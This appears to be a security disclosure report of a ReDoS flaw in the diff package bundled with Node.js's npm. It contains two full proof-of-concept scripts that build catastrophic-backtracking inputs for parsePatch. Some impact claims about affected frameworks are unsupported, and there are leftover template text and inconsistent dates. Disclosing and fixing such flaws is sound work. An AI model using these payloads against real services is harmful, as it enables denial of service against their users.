ReDoS vulnerability in diff library via specially crafted input to parsePatch function leads to DoS in Node.js

[ShiyuBanzhou]

Summary:
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the diff library, as bundled within Node.js (via deps/npm/node_modules/diff). The vulnerability resides in the lib/index.es6.js component at lines 671 and 706. By providing specially crafted input to the affected diffing functions, an attacker can trigger catastrophic backtracking in the underlying regular expressions. This results in excessive CPU consumption and indefinitely long execution times, leading to a Denial of Service (DoS) for applications or development tools that process untrusted input using this component.
Description:
Node.js (up to commit 559985c) is vulnerable to Regular Expression Denial of Service (ReDoS) via its bundled npm dependency's diff package. Flawed regex patterns at lines 671 and 706 of deps/npm/node_modules/diff/lib/index.es6.js allow an attacker to cause resource exhaustion. Successful exploitation leads to 100% CPU utilization (catastrophic backtracking) when processing maliciously crafted strings, effectively causing a denial of service state in the execution environment.

Steps To Reproduce:

PoC.js to trigger the vulnerability:

/**
 * ReDoS PoC for regexId: 12
 *
 * Target Regex: /^(?:Index:|diff(?: -r \w+)+)\s+(.+?)\s*$/
 * Data Flow Path: uniDiff -> parsePatch (line 652) -> split by line (line 654) -> exec(regex) (line 671)
 * Path Constraints: No special constraints
 * Data Transformation: split(/\r\n|[\n\v\f\r\x85]/) divides input into an array by line breaks, matching each line individually.
 *
 * Payload Adjustment Notes:
 * - The original suffix contains \n characters.
 * - Since the split operation removes line breaks, the payload must reside within a single line.
 * - Adjustment Strategy: Replace \n in the suffix with \u2028 (Line Separator).
 * - \u2028 is not matched by the . metacharacter, but it is not removed by the current split regex.
 *
 * === Verification Results ===
 * Sink Regex Execution Time: >30000 ms (Timeout terminated)
 * Total Execution Time: >30000 ms
 * Verification Time: 2025-11-29T15:01:00.000Z
 * Iterations: 0 (Phase 2 direct success)
 * Success Criteria: Standard A (>= 5000ms)
 * Final Status: ✓ Verification Passed (Triggered extremely severe ReDoS)
 *
 * Generation Time: 2025-01-29
 * Phase: Phase 3 - Final (Production Ready)
 */

import { parsePatch } from './index.es6.js';

console.log("[+] Constructing basic attack payload...");
console.log("[+] Target Vulnerability: regexId 12");
console.log("[+] Vulnerable Regex: /^(?:Index:|diff(?: -r \\w+)+)\\s+(.+?)\\s*$/");

// Construct base payload using attack components from the vulnerability report
const prefix = "Index: ";
const infix = "\t\t";
const suffix_original = "◎!\n!◎!\n!";
const repeatTimes = 5000;

console.log("\n[+] Analyzing data flow path constraints...");
console.log("[+] Source: uniDiff parameter");
console.log("[+] Sink: Line 671, /^(?:Index:|diff(?: -r \\w+)+)\\s+(.+?)\\s*$/.exec(line)");
console.log("[+] Entry Function: parsePatch");
console.log("[+] Key Transformation: split(/\\r\\n|[\\n\\v\\f\\r\\x85]/) splits by line breaks");
console.log("[+] Impact: Original suffix contains \\n, which would cause the payload to be split into multiple lines");

// Adjust suffix: replace \n with \u2028 (Line Separator)
// \u2028 is not matched by the . metacharacter but is not removed by the split regex
const suffix_adjusted = suffix_original.replace(/\n/g, '\u2028');
console.log(`[+] Original suffix: ${JSON.stringify(suffix_original)}`);
console.log(`[+] Adjusted suffix: Replaced \\n with \\u2028`);

const base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

const final_payload = base_payload;
console.log("[+] No other path constraints, using adjusted payload");
console.log(`[+] Final payload length: ${final_payload.length} characters`);

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parsePatch(final_payload)`);

console.time("ReDoS-Attack-Time");
try {
    parsePatch(final_payload);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw an exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Attack completed. If execution time increases significantly, the ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC; actual verification in Phase 2 is required.");

/* How to use:
 * 1.Download the file:https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/lib/index.es6.js#L671
 * 2.Put poc.js and index.es6.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/

/**
 * ReDoS PoC for regexId: 15
 *
 * Target Regex: /^(---|\\+\\+\\+)\\s+(.*)$/
 * Data Flow Path: uniDiff -> parsePatch (line 652) -> split by line (line 654) -> exec(regex) (line 706)
 * Path Constraints: No special constraints
 * Data Transformation: split(/\r\n|[\n\v\f\r\x85]/) divides input into an array by line breaks, matching each line individually.
 *
 * Payload Adjustment Notes:
 * - The original suffix is "\n1\n", which contains line breaks.
 * - The .* metacharacter in the regex does not match line breaks; the original suffix uses this to prevent matching.
 * - Since the split operation removes line breaks, the suffix needs adjustment.
 * - Adjustment Strategy: Replace \n in the suffix with \u2028 (Line Separator).
 * - \u2028 is not matched by the . metacharacter, but it is not removed by the current split regex.
 *
 * === Verification Results ===
 * Sink Regex Execution Time: 5842 ms (peak, multiple calls)
 * Total Execution Time: >30000 ms (Cumulative timeout)
 * Verification Time: 2025-11-29T15:01:00.000Z
 * Iterations: 0 (Phase 2 direct success)
 * Success Criteria: Standard A (>= 5000ms)
 * Final Status: ✓ Verification Passed
 *
 * Generation Time: 2025-01-29
 * Phase: Phase 3 - Final (Production Ready)
 */

import { parsePatch } from './index.es6.js';

console.log("[+] Constructing basic attack payload...");
console.log("[+] Target Vulnerability: regexId 15");
console.log("[+] Vulnerable Regex: /^(---|\\+\\+\\+)\\s+(.*)$/");

// Construct base payload using attack components from the vulnerability report
const prefix = "+++ ";
const infix = " ";
const suffix_original = "\n1\n";
const repeatTimes = 80000;

console.log("\n[+] Analyzing data flow path constraints...");
console.log("[+] Source: uniDiff parameter");
console.log("[+] Sink: Line 706, /^(---|\\+\\+\\+)\\s+(.*)$/.exec(diffstr[i])");
console.log("[+] Entry Function: parsePatch");
console.log("[+] Key Transformation: split(/\\r\\n|[\\n\\v\\f\\r\\x85]/) splits by line breaks");
console.log("[+] Impact: Original suffix contains \\n, which would cause the payload to be split into multiple lines");

// Adjust suffix: replace \n with \u2028 (Line Separator)
// \u2028 is not matched by the . metacharacter but is not removed by the split regex
const suffix_adjusted = suffix_original.replace(/\n/g, '\u2028');
console.log(`[+] Original suffix: ${JSON.stringify(suffix_original)}`);
console.log(`[+] Adjusted suffix: Replaced \\n with \\u2028`);

const base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

const final_payload = base_payload;
console.log("[+] No other path constraints, using adjusted payload");
console.log(`[+] Final payload length: ${final_payload.length} characters`);

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parsePatch(final_payload)`);

console.time("ReDoS-Attack-Time");
try {
    parsePatch(final_payload);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw an exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Attack completed. If execution time increases significantly, the ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC; actual verification in Phase 2 is required.");

/* How to use:
 * 1.Download the file:https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/lib/index.es6.js#L706
 * 2.Put poc.js and index.es6.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/

Impact: [add why this issue matters]

The impact of this Regular Expression Denial of Service (ReDoS) vulnerability is significant as it directly affects the availability and stability of the environment in which the affected package is executed.

1. Resource Exhaustion
   By providing a specially crafted input string designed to trigger catastrophic backtracking, an attacker can force the JavaScript engine's event loop to hang. This results in:
   100% CPU Utilization: A single malicious request or input can consume all available processing power on a single thread.
   Process Unresponsiveness: Since JavaScript is single-threaded, the entire process becomes blocked, unable to handle any other concurrent tasks or user interactions.
2. Service Disruption
   Depending on where the component is used, the consequences vary:
   Build & Development Tools (e.g., Create React App, Svelte, Playwright): A malicious file or configuration can crash the build pipeline, preventing CI/CD deployments and halting developer productivity.
   Server-Side Frameworks (e.g., Express, Node.js internals): A remote attacker can send a malicious payload to an endpoint, causing the server to stop responding to all legitimate users, effectively taking the service offline (Denial of Service).
   Client-Side Tools (e.g., React DevTools): An attacker can cause the victim's browser tab or developer console to freeze, leading to data loss or an unstable browsing experience.
3. Risk of Cascading Failures
   In modern microservices or distributed architectures, a single service hanging due to high CPU usage can lead to timeouts, increased latency in dependent services, and potentially a full-scale system outage.

Supporting Material/References: